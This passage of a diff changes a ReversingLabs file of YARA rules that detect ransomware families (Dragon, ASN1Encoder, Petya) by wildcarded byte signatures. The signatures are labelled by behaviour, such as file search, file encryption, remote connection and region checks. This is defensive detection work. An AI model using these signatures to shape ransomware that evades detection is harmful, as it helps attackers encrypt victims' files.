-		$find_files_p1 = {
-            48 89 C6 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83
-            EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 06 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC
-            ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89
-            46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89
-            C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ??
-            ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83
-            C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83
-            C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 8D
-            0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 89 C1 48 83 EC ?? E8 ?? ??
-            ?? ?? 48 83 C4 ?? 48 89 46 ?? 48 89 56 ?? 48 89 B5 ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 89 95 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48
+		$remote_connection = {
+            55 8B EC 53 8B 5D ?? 57 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 8B 0F 8B
+            C1 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4F ?? 83 C4 ?? 8B C1 83 E8 ?? 74 ?? 83
+            E8 ?? 74 ?? 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ??
+            ?? ?? EB ?? 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? 83 F8 ?? 77 ?? FF 24 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? EB ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ??
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 47 ?? 83 C4 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 83 7F ?? ?? 75 ?? 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 FF
+            77 ?? FF 15 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 FF 77 ?? 56 E8 ?? ?? ?? ?? 83 C4 ??
+            8D 45 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 5E FF 77 ?? 53 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 77 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5B
+            5D C3
         }
-		$find_files_p2 = {
-            89 C3 48 8B 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 03 48 89 53 ?? 48 8D 15 ?? ??
-            ?? ?? BF ?? ?? ?? ?? 48 89 7B ?? 48 89 53 ?? 48 8D 0D ?? ?? ?? ?? B8 ?? ?? ?? ?? 48
-            89 43 ?? 48 89 4B ?? 48 89 9D ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 45 31 C0
-            4C 89 85 ?? ?? ?? ?? 4C 8D A5 ?? ?? ?? ?? 49 C7 04 24 ?? ?? ?? ?? 49 8B 14 24 48 89
-            95 ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D AD ?? ?? ?? ?? 49 B9 ?? ?? ?? ?? ?? ?? ??
-            ?? 4D 89 4D ?? 49 8B 4D ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D B5 ?? ??
-            ?? ?? 4D 89 06 49 8B 16 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ??
-            45 31 C0 41 3B C0 7E ?? 41 BF ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 4C 8D 8D ?? ?? ?? ??
-            4D 69 D7 ?? ?? ?? ?? 4D 89 11 4C 89 D2 48 8D 8D ?? ?? ?? ?? 48 83 EC ?? E8 ?? ?? ??
-            ?? 48 83 C4 ?? 45 31 C0 41 3B C0 79 ?? 4C 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48
-            C7 01 ?? ?? ?? ?? 48 8B 01 48 89 85 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 8D ?? ??
-            ?? ?? 48 83 EC ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 85 C0 7E ?? 48 8B 9D ?? ?? ?? ?? 48 B8
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 EB
+		$encrypt_files = {
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B C8 8B F2 83 C4 ?? 2B CE 8D 71 ??
+            66 90 0F B7 0A 8D 52 ?? 66 89 4C 32 ?? 66 85 C9 75 ?? 50 FF 35 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 8B 35 ?? ?? ?? ?? 47 89 7D ?? E9 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50
+            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? EB ??
+            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 53
+            FF D6 8B 3D ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ??
+            8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5 5D C3 53
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5B 8B E5
+            5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
 }
-rule REVERSINGLABS_Win32_Ransomware_Dragon : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Dragon ransomware."
-		author = "ReversingLabs"
-		id = "dbeab955-f1fe-57eb-a9a4-c8c885ab7fad"
-		date = "2020-10-30"
-		modified = "2020-10-30"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Dragon.yara#L1-L149"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7298c5681deaf04abb6a656cefc09b5ee4096ff7a5028caab1d7b107e97be90a"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Dragon"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$remote_connection_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 83 EC ?? 89 45 ?? 8B
-            CC 89 A5 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
-            45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ??
-            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
-            ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ??
-            ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1
-        }
-		$remote_connection_p2 = {
-            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ??
-            52 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
-            ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F
-            87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 8D 4D ?? 8D 55 ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 0F 43 4D ?? 51 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 55 ?? 83 FA
-            ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ??
-            83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B
-            49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ??
-            64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$find_files_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 83 EC ?? 89 8D ??
-            ?? ?? ?? 8B D4 8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41
-            84 C0 75 ?? 2B CE 8B B5 ?? ?? ?? ?? 51 56 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8D
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85
-            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 8B 1D
-        }
-		$find_files_2 = {
-            8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ??
-            33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ??
-            ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 51 8B D4 8D 8D ?? ?? ?? ??
-            8D 71 ?? C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 ?? 8A 01 41 84 C0 75 ?? 2B
-            CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ??
-            83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F
-            5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$skip_hk_china_taiwan_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? 89 45 ?? 8D 4D ?? 6A ??
-            68 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 88 45 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D
-            4D ?? 83 7D ?? ?? 8D 55 ?? 0F 43 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ??
-            68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
-            C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
-            C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8
-            ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ??
-            ?? ?? 6A ?? 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ??
-            83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
-            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72
-            ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
-            ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ??
-            ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
-        }
-		$skip_hk_china_taiwan_p2 = {
-            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
-            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
-            ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
-            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? B0 ??
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 55 ??
-            83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
-            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72
-            ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8
-            ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 8D ??
-            ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
-            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42
-            8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
-            ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1
-            83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? E8
-            ?? ?? ?? ?? E8
-        }
-		$crypt_files = {
-            8B FF 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 89 45 ?? 89
-            4D ?? 56 8B 75 ?? 85 C9 75 ?? 33 C0 E9 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 83 20
-            ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 53 8B C6
-            8B D6 C1 FA ?? 83 E0 ?? 57 6B F8 ?? 89 55 ?? 8B 14 95 ?? ?? ?? ?? 89 7D ?? 8A 5C 3A
-            ?? 80 FB ?? 74 ?? 80 FB ?? 75 ?? 8B C1 F7 D0 A8 ?? 75 ?? E8 ?? ?? ?? ?? 83 20 ?? E8
-            ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? F6 44 3A ?? ?? 74 ?? 6A
-            ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 8D 7D ?? AB 56 AB AB E8 ?? ?? ?? ??
-            59 84 C0 74 ?? 84 DB 74 ?? FE CB 80 FB ?? 8B 5D ?? 0F 87 ?? ?? ?? ?? FF 75 ?? 8D 45
-            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 E9 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? 8D 45 ?? 53
-            56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 04 8D ?? ?? ?? ?? 80 7C 10
-            ?? ?? 7D ?? 0F BE C3 8B 5D ?? 83 E8 ?? 74 ?? 83 E8 ?? 74 ?? 83 E8 ?? 75 ?? FF 75 ??
-            8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB
-            ?? FF 75 ?? 8D 45 ?? 53 56 50 E8 ?? ?? ?? ?? EB ?? 8B 4C 10 ?? 8D 7D ?? 8B 5D ?? 33
-            C0 AB 6A ?? AB AB 8D 45 ?? 50 FF 75 ?? 53 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
-            ?? ?? ?? 89 45 ?? 8D 75 ?? 8D 7D ?? A5 A5 A5 8B 4D ?? 8B 55 ?? 8B 45 ?? 85 C0 75 ??
-            8B 45 ?? 85 C0 74 ?? 6A ?? 5E 3B C6 75 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 89 30 EB ?? 50 E8 ?? ?? ?? ?? 59 EB ?? 8B 04 8D ?? ?? ?? ?? F6 44 10 ?? ?? 74
-            ?? 80 3B ?? 75 ?? 33 C0 EB ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 20
-            ?? 83 C8 ?? EB ?? 2B 45 ?? 5F 5B 8B 4D ?? 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
+import "pe"
 
-	condition:
-		uint16(0)==0x5A4D and ( all of ($skip_hk_china_taiwan_p*)) and ( all of ($find_files_*)) and ($crypt_files) and ( all of ($remote_connection_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Asn1Encoder : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Petya : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ASN1Encoder ransomware."
+		description = "Yara rule that detects Petya ransomware."
 		author = "ReversingLabs"
-		id = "5fa361e5-4ab0-5856-92b2-6f434e33c350"
+		id = "93d9fb33-88d1-50ec-bf99-1888201c0ec2"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.ASN1Encoder.yara#L1-L136"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "000fd846fa5f09af19ead4623bb5a8eb51cdb4c751013569bf070710d3e0d61d"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Petya.yara#L3-L58"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d2adafcb21b627d614eab79e64e2b96ad09fae796d0670452a19490d8781ce99"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41253,127 +41178,56 @@ rule REVERSINGLABS_Win32_Ransomware_Asn1Encoder : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ASN1Encoder"
+		tc_detection_name = "Petya"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_p1 = {
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 0F B6
-            84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ??
-            83 C4 ?? 83 C3 ?? 46 83 FE ?? 72 ?? 8B 5C 24 ?? BE ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 50
-            68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50
-            E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 8B F0 85 FF 74 ?? A1 ?? ?? ?? ?? 0F B6 04 06 50 B8 ??
-            ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 C3 ?? 46 3B F7
-            72 ?? 8B 5C 24 ?? A1 ?? ?? ?? ?? BE ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? 56 50 E8 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E8 ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 94 24 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B FB 8B F0 0F B6
-            84 34 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 2B C6 68 ?? ?? ?? ?? 03 C0 50 57 E8 ?? ?? ?? ??
-            83 C4 ?? 83 C7 ?? 46 83 FE ?? 72 ?? A1 ?? ?? ?? ?? 53 50 68 ?? ?? ?? ?? BB ?? ?? ??
-            ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50 68 ?? ??
